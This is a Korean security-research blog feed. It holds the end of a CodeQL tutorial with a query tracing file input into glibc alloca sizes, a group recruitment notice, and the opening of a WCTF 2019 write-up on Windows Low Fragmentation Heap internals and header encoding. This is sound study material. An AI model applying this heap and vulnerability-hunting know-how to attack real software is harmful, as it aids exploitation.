<p>우선 위의 query문을 보면, 이미 존재하는 <a href="https://github.com/github/codeql/blob/7502c6f/cpp/ql/src/semmle/code/cpp/models/implementations/GetDelim.qll#L9">GetDelimFunction Class</a>와 <a href="https://github.com/github/codeql/blob/f534f09/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll#L82">StrlenFunction Class</a>를 재정의하는데, 아마 <a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-cpp/#using-global-taint-tracking">Global Taint Tracking</a>으로 <strong><code class="language-plaintext highlighter-rouge">fopen</code> 호출</strong> -&gt; <strong><code class="language-plaintext highlighter-rouge">alloca</code> 의 크기 인자</strong> 로 이어지는 data flow를 추적하는 과정에서 해당 함수들( <a href="https://github.com/bminor/glibc/blob/333221862ecbebde60dd16e7ca17d26444e62f50/iconv/gconv_conf.c#L387">__getdelim</a>, <a href="https://github.com/bminor/glibc/blob/333221862ecbebde60dd16e7ca17d26444e62f50/include/string.h#L75">__strnlen</a> )의 data flow를 따로 정의해줄 필요가 있어서 그런것 같습니다.</p>

<p>query문이 상당히 길어 스크린샷 대신 code snippet을 첨부하겠습니다.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/**
  * @name 41_fopen_to_alloca_taint
  * @description Track taint from fopen to alloca.
  * @kind path-problem
  * @problem.severity warning
  */

 import cpp
 import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
 import semmle.code.cpp.dataflow.TaintTracking
 import semmle.code.cpp.models.interfaces.DataFlow
 import semmle.code.cpp.controlflow.Guards
 import semmle.code.cpp.dataflow.DataFlow
 import DataFlow::PathGraph


 predicate isSafeAllocaCall(FunctionCall allocaCall) {
  exists(FunctionCall fc, DataFlow::Node source, DataFlow::Node sink, GuardCondition guard, BasicBlock block |
    fc.getTarget().hasQualifiedName("__libc_use_alloca") and
    guard.controls(allocaCall.getBasicBlock(), _) and
    DataFlow::localFlow(source, sink) and
    block.contains(fc) and
    source.asExpr() = block.getANode() and
    sink.asExpr() = guard.getAChild*()
  )
}

predicate isOOBAllocaCall(FunctionCall allocaCall) {
  exists(Expr sizeArg | 
    sizeArg = allocaCall.getArgument(0).getFullyConverted() and
    (upperBound(sizeArg) &gt;= 65536 or lowerBound(sizeArg) &lt; 0)
  )
}

// Track taint through `__strnlen`.
class StrlenFunction extends DataFlowFunction {
  StrlenFunction() { this.getName().matches("%str%len%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(0) and o.isReturnValue()
  }
}

// Track taint through `__getdelim`.
class GetDelimFunction extends DataFlowFunction {
  GetDelimFunction() { this.getName().matches("%get%delim%") }

  override predicate hasDataFlow(FunctionInput i, FunctionOutput o) {
    i.isParameter(3) and o.isParameterDeref(0)
  }
}
 
 class Config extends TaintTracking::Configuration {
   Config() { this = "fopen_to_alloca_taint" }
 
   override predicate isSource(DataFlow::Node source) {
     exists(FunctionCall fopenCall | 
        fopenCall.getTarget().hasName("_IO_new_fopen") and
        source.asExpr() = fopenCall
      )
   }
 
   override predicate isSink(DataFlow::Node sink) {
     exists(
       Expr sizeArg, FunctionCall allocaCall |
       allocaCall.getTarget().hasQualifiedName("__builtin_alloca") and
       not isSafeAllocaCall(allocaCall) and
       isOOBAllocaCall(allocaCall) and
       sizeArg = allocaCall.getArgument(0).getFullyConverted() and
       sink.asExpr() = sizeArg
     )
   }
 }
 
 from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
 where cfg.hasFlowPath(source, sink)
 select sink, source, sink, "fopen flows to alloca"
</code></pre></div></div>

<p><img src="/assets/images/segv-hunt-codeql-img-13.png" alt="qustion 4.1 done" /></p>

<h2 id="350-question-50optional">3.5.0. Question 5.0(optional)</h2>
<ul>
  <li>Question 5.0: The GNU C Library includes several command-line applications. (It contains 24 main functions.) Demonstrate that the bug is real by showing that you can trigger a <code class="language-plaintext highlighter-rouge">SIGSEGV</code> in one of these command-line applications.</li>
</ul>

<p>crash 터트리는 PoC 코드 짜는게 마지막 문제인데, 저는 CodeQL 사용법을 익히기 위해서 시작한거라 해당 문제는 스킵하겠습니다.</p>

<h1 id="4-후기">4. 후기</h1>
<p><a href="https://semmle.com/variant-analysis">Variant Analysis</a>란 용어가 있습니다. 변인(變因) 분석이라는 뜻 답게 이미 ‘알려진’ 취약점들을 마치 fuzzing의 seed 값처럼 <strong>Control flow analysis</strong>, <strong>Data flow analysis</strong>, <strong>Taint tracking</strong>, <strong>Range analysis</strong> 등의 정적 분석 방법론들에 활용하며 새로운 취약점을 찾는 분석기법이며, <strong>CodeQL</strong> 을 사용해 취약점을 찾는 모든 행위를 <strong>Variant Analysis</strong> 라고 봐도 무방할 것입니다. 제가 다른 정적분석도구를 써본적은 없어 잘 모르지만 <a href="https://codeql.github.com/docs/codeql-language-guides/codeql-library-for-cpp/">CodeQL은 취약점 분석에 필요한 대부분의 요소들을 이미 구현</a>해 놨고, 실제로 이를 활용해 발견된 취약점도 점점 늘어나고 있습니다.</p>

<p>물론 이를 활용하기 위해선 내가 분석하고자 하는 프로그램의 attack vector와 패치된 취약점 패턴들을 충분히 이해한 상태여야 겠지만, 내가 생각한 취약점 패턴을 단순히 직감의 일부로 넘기는 것이 아니라 나중에 활용할 수 있도록 코드로 저장할 수 있고, 실제로 Github Security Lab에선 Bounty까지 주며 이를 장려하고 있다는 것은 굉장히 큰 장점으로 여겨집니다[<a href="https://securitylab.github.com/bounties">7</a>]. 다음번 포스팅때는 실제로 CodeQL을 활용해 취약점을 찾고 RCA( Root Cause Analysis )까지 하는 것을 목표로 잡고 특정 프로그램을 분석중인데 잘 됐으면 좋겠습니다 ㄷㄷ.</p>]]></content><author><name>y0ny0ns0n</name></author><category term="blog" /><category term="CodeQL" /><summary type="html"><![CDATA[작성 - y0ny0ns0n @ null2root]]></summary></entry><entry><title type="html">[마감] 2020 Null@Root 신입 그룹원 모집</title><link href="https://null2root.github.io/blog/2020/04/05/2020-null2root-recruit.html" rel="alternate" type="text/html" title="[마감] 2020 Null@Root 신입 그룹원 모집" /><published>2020-04-05T10:22:00+00:00</published><updated>2020-04-05T10:22:00+00:00</updated><id>https://null2root.github.io/blog/2020/04/05/2020-null2root-recruit</id><content type="html" xml:base="https://null2root.github.io/blog/2020/04/05/2020-null2root-recruit.html"><![CDATA[<blockquote>
  <p><strong>2020년도 그룹원 신청이 마감되었습니다.</strong><br />
지원해 주신 분들께 감사드립니다.</p>
</blockquote>

<hr />

<p>안녕하세요. Null@Root 입니다.
2020년 신입 그룹원을 모집합니다.</p>

<p>여러분의 열정, 실력, 인성을 바탕으로
앞으로 해킹&amp;보안 연구활동을 함께할 멋진 분들을 모십니다.</p>

<p>전통에 따라 몇 차례의 테스트를 통해서 친분을 쌓는 좋은 시간을 갖고자 합니다.</p>

<p>마지막 단계까지 최선을 다해 주시길 바라며,
아래와 같은 간단한 지원서와 번역 또는 기술문서로 신입 그룹원 지원을 받습니다.</p>

<blockquote>
  <p><strong>지원 방법</strong> - <a href="/assets/docs/null2root_2020_join.txt">지원서</a> 작성 + 최근에 작성한 본인의 기술문서 또는 번역문서<br />
<strong>마감 기간</strong> - 2020년 5월 24일 23시 59분 59초<br />
<strong>주의사항 1</strong> - 원만한 활동을 위해 20세 이상의 성인을 모집하고 있습니다.<br />
<strong>주의사항 2</strong> - <a href="/assets/docs/personal_info_agreement_null2root.docx">개인정보 제공 및 활용 동의서</a>를 작성해 사진 캡쳐 혹은 스캔본 형태로 제출해 주셔야 합니다.<br />
<strong>주의사항 3</strong> - 번역 또는 기술 문서는 본인의 열정을 충분히 보여줄 수 있는 부분으로 그림 및 코드 제외 단어수(wc -w)가 2000자 이상이어야 합니다.</p>
</blockquote>

<p>성실하게 답변을 작성하여 nr2020junior@gmail.com 로 마감기간 내에 보내주시기 바랍니다.</p>

<p>기타 문의사항 있을 시에도 위 메일로 보내주시기 바랍니다.</p>]]></content><author><name>null2root</name></author><category term="blog" /><category term="recruit" /><summary type="html"><![CDATA[2020년도 그룹원 신청이 마감되었습니다. 지원해 주신 분들께 감사드립니다.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://null2root.github.io/assets/images/2020.n2r.recruit.png" /><media:content medium="image" url="https://null2root.github.io/assets/images/2020.n2r.recruit.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[Writeup] LazyFragmentationHeap - WCTF 2019</title><link href="https://null2root.github.io/blog/2020/02/07/LazyFragmentationHeap-WCTF2019-writeup.html" rel="alternate" type="text/html" title="[Writeup] LazyFragmentationHeap - WCTF 2019" /><published>2020-02-07T02:53:00+00:00</published><updated>2020-02-07T02:53:00+00:00</updated><id>https://null2root.github.io/blog/2020/02/07/LazyFragmentationHeap-WCTF2019-writeup</id><content type="html" xml:base="https://null2root.github.io/blog/2020/02/07/LazyFragmentationHeap-WCTF2019-writeup.html"><![CDATA[<p>작성 - y0ny0ns0n @ null2root</p>

<h1 id="목차">목차</h1>
<ol>
  <li><a href="#1-소개">소개</a></li>
  <li><a href="#2-환경-구축">환경 구축</a></li>
  <li><a href="#3-분석">분석</a><br />
 3.1. <a href="#31-_heap">_HEAP</a><br />
 3.2. <a href="#32-_heap_entry">_HEAP_ENTRY</a><br />
 3.3. <a href="#33-_heap_list_lookup">_HEAP_LIST_LOOKUP</a><br />
 3.4. <a href="#34-_lfh_heap">_LFH_HEAP</a><br />
 3.5. <a href="#35-_heap_bucket">_HEAP_BUCKET</a><br />
 3.6. <a href="#36-_heap_local_segment_info">_HEAP_LOCAL_SEGMENT_INFO</a><br />
 3.7. <a href="#37-_heap_subsegment">_HEAP_SUBSEGMENT</a><br />
 3.8. <a href="#38-_heap_userdata_header">_HEAP_USERDATA_HEADER</a><br />
 3.9. <a href="#39-_interlock_seq">_INTERLOCK_SEQ</a><br />
 3.10. <a href="#310-allocate-and-free-non-lfh-chunk">Allocate and Free Non-LFH chunk</a><br />
 3.11. <a href="#311-allocate-and-free-lfh-chunk">Allocate and Free LFH chunk</a><br /></li>
  <li><a href="#4-익스플로잇">익스플로잇</a></li>
  <li><a href="#5-후기">후기</a></li>
  <li><a href="#6-참고자료">참고자료</a></li>
</ol>

<h1 id="1-소개">1. 소개</h1>
<p>올해부터 전체적인 공부방향 자체를 Windows ＋α로 잡아보니, Windows 10 NT Heap에 관심이 생겨서 관련 문서를 찾다 이 문제를 보고 한번 풀어보고자 했습니다.</p>

<p><strong>LazyFragmentationHeap</strong>은 WCTF 2019에서 <a href="https://twitter.com/scwuaptx">Angelboy</a>가 출제한 문제인데,  Windows의 <a href="https://docs.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap">Low Fragmentation Heap</a>( 통칭 LFH )과 관련되어 있습니다.</p>

<p>앞서 말했다시피 이 주제에 대해 공부하기 위해 이 문제를 선택했기 때문에, 제가 기록할 문서의 내용자체에 오류가 있을 수 있습니다. 혹시 그런 오류를 찾으신다면 최하단의 Disqus 댓글을 통해 알려주시면 감사하겠습니다.</p>

<h1 id="2-환경-구축">2. 환경 구축</h1>

<p>가상머신 + 문제파일: https://github.com/scwuaptx/LazyFragmentationHeap#vm</p>
<ul>
  <li>Windows 10 Pro Version 1903 (OS Build 18362.30)</li>
  <li>VirtualBox 6.1.2</li>
</ul>

<p><strong>C:\Users\wctf2019\Desktop\challenge</strong> 디렉토리에 있는 <strong>start.bat</strong>을 실행하면 아래와 같이 <a href="https://github.com/trailofbits/AppJailLauncher">AppJailLauncher</a>를 통해 문제파일에 원격으로 접근할 수 있습니다.</p>

<p><img src="/assets/images/lazyfragmentationheap-pic1.png" alt="appjaillauncher worked" /></p>

<p>문제파일이 동작하는 VM은 앞서 표기한 바와 같이 <strong>Windows 10 Pro Version 1903 (OS Build 18362.30)</strong> 인데, 문제파일 분석을 제외한 LFH에 대한 분석은 제 Host OS 버전인 <strong>Windows 10 Pro Version 1909 (18363.592)</strong> 을 기준으로 하고 있습니다.</p>

<p>다행히 두 버전간의 차이가 크지 않은 탓인지, <a href="https://www.zynamics.com/bindiff.html">BinDiff</a>로 <strong>ntdll.dll</strong>에서 차이를 비교해 봤을때 아래와 같이 큰 변화가 없어 괜찮을 것이라고 판단했습니다.</p>

<p><img src="/assets/images/lazyfragmentationheap-pic2.png" alt="ntdll bindiff" /></p>

<h1 id="3-분석">3. 분석</h1>

<p>Windows Heap 할당 메커니즘은 기존에 존재하던 <strong>NT Heap</strong>과, Windows 10부터 추가된 <strong>Segment Heap</strong>으로 나뉘어 집니다.</p>

<p><strong>Segment Heap</strong>은 이미 Edge Browser나 대부분의 UWP 앱에서 사용되고 있으며 굉장히 흥미로운 주제이지만, 이번에 분석해볼 LFH는 Windows Vista 시절부터 사용되던 <strong>NT Heap</strong>에 포함된 기능이기 때문에 다음에 기회가 된다면 분석해보겠습니다.</p>

<p><strong>NT Heap</strong>은 크게 Front-End와 Back-End로 나눠지는데, Front-End가 LFH를 의미합니다. LFH가 비활성화되어 있다면 Heap 메모리 할당 시 바로 Back-End로 넘어가게 됩니다.</p>

<p>Front-End에 해당하는 LFH는 실제 Heap 메모리 할당에는 관여하지 않고, <strong>Low Fragmentation Heap</strong>이라는 이름 그대로 할당된 Heap 메모리간의 <a href="https://ko.wikipedia.org/wiki/%EB%8B%A8%ED%8E%B8%ED%99%94">단편화</a>를 완화함으로서 보다 더 효율적으로 Heap 메모리를 관리하기 위해 사용됩니다.</p>

<p>LFH는 아래의 코드처럼 동일한 크기의 Heap 메모리를 여러개 할당해 주다 보면 자동으로 활성화 됩니다. 여기서 주의할 점은 할당요청한 Heap 메모리의 크기가 16KB( 0x4000 ) 보다 클 경우, LFH는 해당 메모리를 관리하지 않습니다.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">LPVOID</span> <span class="o">*</span><span class="n">ptr_arr</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>

        <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">80</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
                <span class="n">ptr_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x80</span><span class="p">);</span>

        <span class="n">printf</span><span class="p">(</span><span class="s">"[+] find Heap base address using </span><span class="se">\"</span><span class="s">!heap -x %p</span><span class="se">\"</span><span class="s"> command</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr_arr</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"[+] check if LFH was enabled</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">getchar</span><span class="p">();</span>

        <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">80</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
                <span class="n">free</span><span class="p">(</span><span class="n">ptr_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><img src="/assets/images/lazyfragmentationheap-pic3.png" alt="LFH enable/disable" /></p>

<p>( 사족이지만, Windows 에서 할당된 모든 Heap 메모리는 _HEAP 구조체를 통해 관리되는데, <a href="https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapcreate">HeapCreate()</a> 함수로 생성한 private heap을 사용하지 않고 위의 테스트 코드처럼 표준 <strong>malloc()</strong> 함수를 사용해 할당하면 <a href="https://ko.wikipedia.org/wiki/%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4_%ED%99%98%EA%B2%BD_%EB%B8%94%EB%A1%9D">PEB</a>에 보관되어 있는 기본 Heap 메모리를 사용합니다 )</p>

<p><img src="/assets/images/lazyfragmentationheap-pic4.png" alt="_PEB-&gt;ProcessHeap" /></p>

<p>LFH가 활성화되면 <strong>_HEAP-&gt;FrontEndHeap</strong>에 새로 할당된 LFH의 주소가 들어가고, <strong>_HEAP-&gt;FrontEndHeapType</strong>에 2가 들어가 있는데 이 값은 <a href="https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapqueryinformation">HeapQueryInformation()</a> 함수를 통해 읽어들여 LFH의 활성화 여부를 구별할 때 사용할 수 있습니다.</p>

<p><strong>_HEAP-&gt;FrontEndHeap</strong> 이외에도 LFH가 사용하는 값들을 가지고 있는 구조체들은 개략적으로 아래의 그림과 같이 연결되어 있습니다.</p>

<p><img src="/assets/images/lazyfragmentationheap-pic5.png" alt="NT Heap Structure" /></p>
<ul>
  <li><strong>서로 다른 구조체 멤버에서 출발한 화살표들이 같은 구조체를 가리키는 것은 단지 그 멤버들이 같은 구조체를 사용할 뿐 실제로 같은 값을 가진다는 건 아닙니다</strong></li>
  <li><strong>Linked List로 연결된 다음 구조체를 가리키는 멤버에는 화살표를 사용하지 않았습니다</strong></li>
  <li><strong>포인터가 아닌 구조체 멤버는 이름 밑에 구조체 타입을 명시했습니다</strong></li>
</ul>

<p>LFH를 이해하기 위해선 위와 같이 다양한 객체들이 어떤 기능을 수행하는지 먼저 알아볼 필요가 있다고 생각해서, 여러 문서를 참조해 아래와 같이 정리해봤는데 혹시 잘못되었거나 부족한 부분이 있다면 최하단의 Disqus 댓글로 알려주시기 바랍니다.</p>

<h2 id="용어-정리">용어 정리</h2>

<ul>
  <li><strong>Bucket</strong> : LFH에게 할당받은 Heap chunk들을 크기로 분류해 묶어놓은 것이며, <strong>UserBlock</strong>이라고도 부름.</li>
  <li><strong>SubSegment</strong> : LFH가 Heap 메모리를 효율적으로 관리하기 위해 사용하는 <strong>_HEAP_SUBSEGMENT</strong> 구조체를 의미하며, Heap chunk 크기가 다르면 서로 다른 SubSegment가 사용됨.</li>
</ul>

<h2 id="31-_heap">3.1. <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1903%2019H1%20(May%202019%20Update)/_HEAP">_HEAP</a></h2>
<p>: 할당된 Heap 메모리 영역을 관리하기 위해 사용되는 가장 핵심적인 구조체.</p>
<ul>
  <li>EncodeFlagMask : Heap chunk header가 인코딩되었는지 판단하기 위해 사용되는 값, Heap 초기화 시 0x100000으로 설정됨</li>
  <li>Encoding : Heap header들이 변조 되는것을 방지하기 위한 XOR 인코딩을 위해 사용됨</li>
  <li>BlocksIndex : Back-End에서 Heap chunk들을 관리하기 위해 사용되는 <strong>_HEAP_LIST_LOOKUP</strong> 구조체를 가리킴</li>
  <li>FreeLists : glibc에서 쓰이는 <a href="https://github.com/bminor/glibc/blob/d614a75/malloc/malloc.c#L1491-L1501">unsorted bin</a>과 비슷하게 할당 해제된 Heap chunk의 <strong>_HEAP_ENTRY</strong> 구조체를 가리킴</li>
  <li>FrontEndHeap : LFH가 비활성화되어 있으면 0으로 초기화된 상태이지만, LFH가 활성화되면 할당된 <strong>_LFH_HEAP</strong> 구조체를 가리킴</li>
</ul>

<h2 id="32-_heap_entry">3.2. <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_HEAP_ENTRY">_HEAP_ENTRY</a></h2>
<p>: glibc에서 쓰이는 <a href="https://github.com/bminor/glibc/blob/d614a75/malloc/malloc.c#L1079-L1083">malloc_chunk 구조체의 header 부분</a>처럼 할당된 Heap chunk의 header 역할을 하는 구조체.<br />
( LFH냐 아니냐에 따라 서로 다른 방식으로 XOR 인코딩되어 있기 때문에, 실제 값을 알기 위해선 디코딩 과정이 필요함 )</p>

<h3 id="non-lfh-chunk">Non-LFH chunk</h3>
<p><img src="/assets/images/lazyfragmentationheap-pic6.png" alt="decoding _HEAP_ENTRY" /></p>

<ul>
  <li>PreviousBlockPrivateData : 이전에 할당되어 있던 Heap chunk의 값을 보관하는데, 보통 0으로 초기화되어 있음</li>
  <li>Size : <strong>_HEAP_ENTRY</strong> 구조체를 포함한 Heap chunk의 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음</li>
  <li>Flags : Heap chunk가 사용중( BUSY, 1 )인지, 할당해제된 상태( FREE, 0 )인지 식별할 때 사용됨</li>
  <li>SmallTagIndex : ( <strong>PreviousBlockPrivateData</strong>를 제외한 )<strong>_HEAP_ENTRY</strong> 구조체 앞부분 3 bytes를 XOR한 값을 보관하고 있으며, header의 무결성을 검증하기 위해 사용됨</li>
  <li>PreviousSize : 이전에 할당된 Heap chunk의 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음</li>
  <li>UnusedBytes : 할당 후 남은 메모리 크기를 명시할 때 사용되는데, 이 멤버의 8번째 bit가 1일 경우( UnusedBytes OR 0x80 == 1 ) 이 chunk는 LFH chunk로 인식됨</li>
</ul>

<h3 id="lfh-chunk">LFH chunk</h3>
<p>LFH chunk의 경우 <strong>SubSegmentCode</strong>에 아래와 같은 XOR 연산의 결과값을 보관합니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>((&amp;_HEAP_ENTRY - &amp;_HEAP_USERDATA_HEADER) &lt;&lt; 0xC) ^
(&amp;_HEAP_ENTRY &gt;&gt; 4) ^
&amp;_HEAP ^
pLFHKey
</code></pre></div></div>

<p>이 결과값을 통해 아래와 같이 해당 LFH chunk의 <strong>_HEAP_USERDATA_HEADER</strong> 구조체와 <strong>_HEAP_SUBSEGMENT</strong> 구조체를 찾을 수 있습니다.</p>

<p><img src="/assets/images/lazyfragmentationheap-pic7.png" alt="decoding _HEAP_ENTRY of LFH chunk" /></p>

<ul>
  <li>SubSegmentCode :  <strong>_HEAP_USERDATA_HEADER</strong> 구조체와 <strong>_HEAP_SUBSEGMENT</strong> 구조체를 찾기 위해 사용됨</li>
  <li>PreviousSize : ( 이름때문에 헷갈리긴 하지만 )  <strong>_HEAP_USERDATA_HEADER-&gt;BitmapData</strong>에서 해당 Heap chunk와 연결된 bit를 찾는 index값으로 사용됨</li>
  <li>UnusedBytes : 할당 후 남은 메모리 크기를 명시할 때 사용되는데, 이 멤버의 8번째 bit가 1일 경우( UnusedBytes OR 0x80 == 1 ) 이 chunk는 LFH chunk로 인식됨</li>
</ul>

<h2 id="33-_heap_list_lookup">3.3. <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_HEAP_LIST_LOOKUP">_HEAP_LIST_LOOKUP</a></h2>
<p>: Back-End에서 Heap chunk를 관리하기 위해 사용하는 구조체.<br />
( _HEAP-&gt;BlocksIndex )</p>
<ul>
  <li>ExtendedLookup : 다음 <strong>_HEAP_LIST_LOOKUP</strong> 구조체를 가리키는 주소가 들어있음</li>
  <li>ArraySize : Heap chunk들의 최대 크기이며, 0x10을 곱해야 원래 값을 구할 수 있음</li>
  <li>ItemCount : 관리중인 Heap chunk들의 개수</li>
  <li>OutOfRangeItems : 관리할 수 있는 최대 크기를 넘어선 Heap chunk들의 개수</li>
  <li>BaseIndex : 현재 <strong>_HEAP_LIST_LOOKUP</strong> 구조체가 관리하고 있는 Heap chunk들의 시작 index 값이며 index의 범위는 현재 <strong>_HEAP_LIST_LOOKUP</strong>의 BaseIndex 부터 <strong>ExtendedLookup</strong>이 가리키는 <strong>_HEAP_LIST_LOOKUP</strong>의 BaseIndex 까지이며, <strong>ListHints</strong>가 할당해제된 Heap chunk를 탐색할 때에도 사용됨</li>
  <li>ListHead : 할당해제된 Heap chunk들을 관리하는 Double Linked List의 Head 역할을 하며, <strong>_HEAP-&gt;FreeLists</strong>를 가리킴</li>
  <li>ListInUseUlong : <strong>ListHints</strong>가 가리키는 Heap chunk들 중 어떤게 사용가능한지 가리킴</li>
  <li>ListHints : 할당해제된 Heap chunk들 중 같은 크기들끼리 연결된 Double Linked List를 가리키는 주소의 배열 역할을 함</li>
</ul>

<h2 id="34-_lfh_heap">3.4. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_LFH_HEAP_x64.html">_LFH_HEAP</a></h2>
<p>: LFH chunk들을 관리하기 위해 사용되는 구조체.<br />
( _HEAP-&gt;FrontEndHeap )</p>
<ul>
  <li>Heap : 해당 <strong>_LFH_HEAP</strong> 구조체를 가리키는 <strong>_HEAP</strong> 구조체의 시작주소를 가리킴</li>
  <li>Buckets : 할당요청을 받은 Heap chunk 크기와 일치하는 메모리 영역을 찾을 때 사용됨</li>
  <li>SegmentInfoArrays : Heap chunk들을 크기로 분류해 각기 다른 SubSegment( <strong>_HEAP_SUBSEGMENT</strong> )로 관리하기 위해 사용됨</li>
  <li>LocalData : <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_HEAP_LOCAL_DATA_x64.html">_HEAP_LOCAL_DATA-&gt;LowFragHeap</a>을 읽어들여 LFH의 주소를 알아내기 위해 사용됨</li>
</ul>

<h2 id="35-_heap_bucket">3.5. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_HEAP_BUCKET_x64.html">_HEAP_BUCKET</a></h2>
<p>: LFH가 Heap chunk를 할당할때 참조하기 위해 사용되며 Bucket을 관리하기 위해 사용되는 구조체.<br />
( _LFH_HEAP-&gt;Buckets )</p>
<ul>
  <li>BlockUnits : 해당 Bucket이 가리키는 Heap chunk의 크기를 찾고자 할 때 사용되며, 0x10을 곱해야 실제 크기를 구할 수 있음</li>
  <li>SizeIndex : 해당 Bucket의 index값을 가지고 있으며, <strong>_LFH_HEAP-&gt;SegmentInfoArrays</strong> 배열에서의 index값으로도 사용됨</li>
</ul>

<h2 id="36-_heap_local_segment_info">3.6. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_HEAP_LOCAL_SEGMENT_INFO_x64.html">_HEAP_LOCAL_SEGMENT_INFO</a></h2>
<p>: SubSegment를 관리하기 위해 사용되는 구조체.<br />
( _LFH_HEAP-&gt;SegmentInfoArrays )</p>
<ul>
  <li>LocalData : <strong>_LFH_HEAP-&gt;LocalData</strong>를 가리키며, 이를 참조해 <strong>_LFH_HEAP</strong>의 시작주소를 찾을 수 있음</li>
  <li>ActiveSubsegment : LFH의 메모리 할당 요청을 처리하는데 사용될 SubSegment를 가리킴</li>
  <li>CachedItems : <strong>ActiveSubsegment</strong>가 가리키는 SubSegment에서 관리할 수 있는 Heap chunk의 개수를 초과하면 이 배열에서 새로운 SubSegment를 가져옴</li>
  <li>BucketIndex : <strong>ActiveSubsegment</strong>가 가리키는 SubSegment와 연결된 <strong>_LFH_HEAP-&gt;Buckets</strong>의 index값( =<strong>_HEAP_BUCKET-&gt;SizeIndex</strong> )을 가지고 있음</li>
</ul>

<h2 id="37-_heap_subsegment">3.7. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_HEAP_SUBSEGMENT_x64.html">_HEAP_SUBSEGMENT</a></h2>
<p>: LFH가 할당한 Heap chunk들을 각각의 크기별로 관리하기 위해 사용되는 구조체.<br />
( _HEAP_LOCAL_SEGMENT_INFO-&gt;ActiveSubsegment, _HEAP_LOCAL_SEGMENT_INFO-&gt;CachedItems )</p>
<ul>
  <li>LocalInfo : 해당 SubSegment를 가리키는 <strong>_HEAP_LOCAL_SEGMENT_INFO</strong> 구조체의 시작주소를 가리킴</li>
  <li>UserBlocks : 해당 SubSegment와 연결된 UserBlock의 시작주소를 가리킴</li>
  <li>AggregateExchg : UserBlock에 남아있는 할당해제된 Heap chunk의 개수를 참조할 때 사용됨</li>
  <li>BlockSize : UserBlock에 할당될 Heap chunk 크기를 보관하고 있으며, 0x10을 곱해야 실제 크기를 구할 수 있음</li>
  <li>BlockCount : UserBlock에 할당되어 있는 Heap chunk의 개수를 보관하고 있음</li>
  <li>SizeIndex : <strong>_HEAP_LOCAL_SEGMENT_INFO-&gt;BucketIndex</strong>와 같은 값을 보관하고 있음</li>
</ul>

<h2 id="38-_heap_userdata_header">3.8. <a href="http://terminus.rewolf.pl/terminus/structures/ntdll/_HEAP_USERDATA_HEADER_x64.html">_HEAP_USERDATA_HEADER</a></h2>
<p>: UserBlock의 시작부분에 위치해 UserBlock의 header역할을 하는 구조체.<br />
( _HEAP_SUBSEGMENT-&gt;UserBlocks )</p>
<ul>
  <li>SubSegment : 해당 UserBlock과 연결된 SubSegment의 시작주소를 가리킴</li>
  <li>EncodedOffsets : Heap chunk header의 무결성을 검증할 때 사용되며, 아래와 같은 XOR 연산의 결과값이 보관되어 있음
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(sizeof(_HEAP_USERDATA_HEADER)+8) | ((_HEAP_BUCKET-&gt;BlockUnits * 0x10) &lt;&lt; 16) ^
pLFHKey ^
&amp;_HEAP_USERBDATA_HEADER ^
&amp;_LFH_HEAP
</code></pre></div>    </div>
  </li>
  <li>BusyBitmap : <strong>BusyBitmap-&gt;SizeOfBitMap</strong>은 <strong>_HEAP_SUBSEGMENT-&gt;BlockCount</strong>와 동일한 값을 가지고 있고, <strong>BusyBitmap-&gt;Buffer</strong>가 가리키는 bitmap( <strong>_HEAP_USERDATA_HEADER-&gt;BitmapData</strong>를 가리킴 )에서 Heap chunk의 할당여부를 확인할 수 있음</li>
